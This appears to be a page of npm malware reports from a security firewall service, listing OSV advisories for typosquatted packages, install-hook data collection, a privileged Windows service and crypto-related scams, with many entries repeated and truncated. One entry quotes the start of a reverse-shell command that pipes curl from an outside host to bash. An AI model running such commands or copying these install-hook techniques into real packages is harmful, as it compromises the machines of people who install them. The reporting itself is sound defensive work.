npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 583
Updated 24 Oct 2026, 12:22 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4252 blocks this version. On npm install, the package's preinstall, install, and postinstall lifecycle hooks all invoke telemetry.js, which collects...
OpenSSF/OSV malware advisory MAL-2026-4699 blocks this version. Package metadata advertises 'utility mf' with main 'index.js', but the shipped main is a 15.7MB obfuscator.io-style blob pr...
OpenSSF/OSV malware advisory MAL-2026-4251 blocks this version. On `npm install`, the package.json `preinstall` hook runs `node telemetry.js`, which performs a DNS lookup against `test-ca...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-3757 blocks this version. On `npm install -g`, the package's `scripts/post-install.js` registers a privileged Windows service `claw-subagent-service`...
OpenSSF/OSV malware advisory MAL-2026-4609 blocks this version. The package advertises itself as an 'MEV protection layer for Ethereum trading bots' but does the opposite. On `npm install...
OpenSSF/OSV malware advisory MAL-2026-4585 blocks this version. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74....
OpenSSF/OSV malware advisory MAL-2026-4585 blocks this version. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74....
OpenSSF/OSV malware advisory MAL-2026-4585 blocks this version. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74....
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4565 blocks this version. On `npm install`, the package's postinstall hook runs `node index.js`, which collects the installer's hostname, OS platform...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4288 blocks this version. Package name impersonates the popular @juggle/resize-observer (j→j substitution and pluralized 'resizeobserves') and the RE...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...
OpenSSF/OSV malware advisory MAL-2026-4509 blocks this version. The package presents itself as a React OTP component, but its only exported widget hardcodes a single Firebase Realtime Dat...